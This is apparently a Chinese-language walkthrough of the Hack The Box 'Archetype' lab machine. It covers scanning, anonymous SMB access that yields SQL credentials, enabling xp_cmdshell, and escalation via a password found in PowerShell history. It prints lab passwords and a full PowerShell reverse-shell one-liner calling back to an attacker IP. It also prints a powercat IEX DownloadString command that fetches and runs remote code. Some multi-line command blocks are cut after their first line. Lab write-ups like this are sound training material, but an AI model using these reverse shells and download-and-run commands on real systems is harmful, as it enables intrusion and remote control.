1. 准备
现在好像不需要之前那样找js生成邀请码了,直接就可以注册账号了。注册完之后,需要配置openvpn来连接到它的实验室环境,选择好Machines之后,在右上角点击连接,会让你选择服务器的配置,然后有一个download vpn,点击它,会下载一个*username.ovpn文件,将这个文件复制到kali虚拟机中执行openvpn *username.ovpn
就连接上了。在kali中另开一个terminal就可以ping通machine的IP了。
配置vpn的教程可以在官网查到:https://help.hackthebox.eu/getting-started/v2-introduction-to-vpn-access
2. 扫描
使用nmap扫描:
1 | ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.27 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) |
ports就是过滤出一个端口列表:
第二条命令就是去打印出更详细的信息,445和1433是需要关注的:
3. smbclient
smbclient -N -L \\\\10.10.10.27\\
:
似乎有个backups可以查看内容。
smbclient -N \\\\10.10.10.27\\backups
:
help指令可以查看可以使用命令。
使用dir命令查看一下文件内容,发现有个config文件,使用get命令下载该文件,打开查看,存在密码敏感信息:
userid: ARCHETYPE\sql_svc
password: M3g4c0rp123
4. Impacket使用
然后使用Impacket工具登录SQL账户:
1 | wget https://github.com/SecureAuthCorp/impacket/releases/download/impacket_0_9_21/impacket-0.9.21.tar.gz |
SELECT IS_SRVROLEMEMBER('sysadmin')
查看是否具有系统权限:
执行以下命令创建反弹shell:
1 | EXEC sp_configure 'Show Advanced Options', 1; |
执行上面的命令前需要现在本机上搭建一个简单的服务器,在根目录下添加一个powershell的反弹shell的脚本shell.ps1
:
1 | $client = New-Object System.Net.Sockets.TCPClient("10.10.16.30",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() |
IP需要查看htb分配给自己的局域网IP,本来这里想用一下GitHub上的powercat的,但可能它限制了不能访问外网,所以不行。下面是powercat的使用方法:
powershell "IEX (New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.233.139 -p 9999 -e cmd"
开启一个terminal执行python3 -m http.server 80
,
开启另一个窗口执行nc -lnvp 443
监听本地443端口,
设置防火墙规则:ufw allow from 10.10.10.27 proto tcp to any port 80,443
执行完xp_cmdshell,最后在nc -lnvp 443的terminal窗口接收到反弹shell:
在Desktop目录下找到flag:
5. 提权
查看Power Shell的历史命令,发现创建管理员账户的命令,也得知密码了MEGACORP_4dm1n!!
:
最后使用impacket的psexec.py 连接:
得到system权限shell:
进入Desktop目录,查看root.txt,得到flag: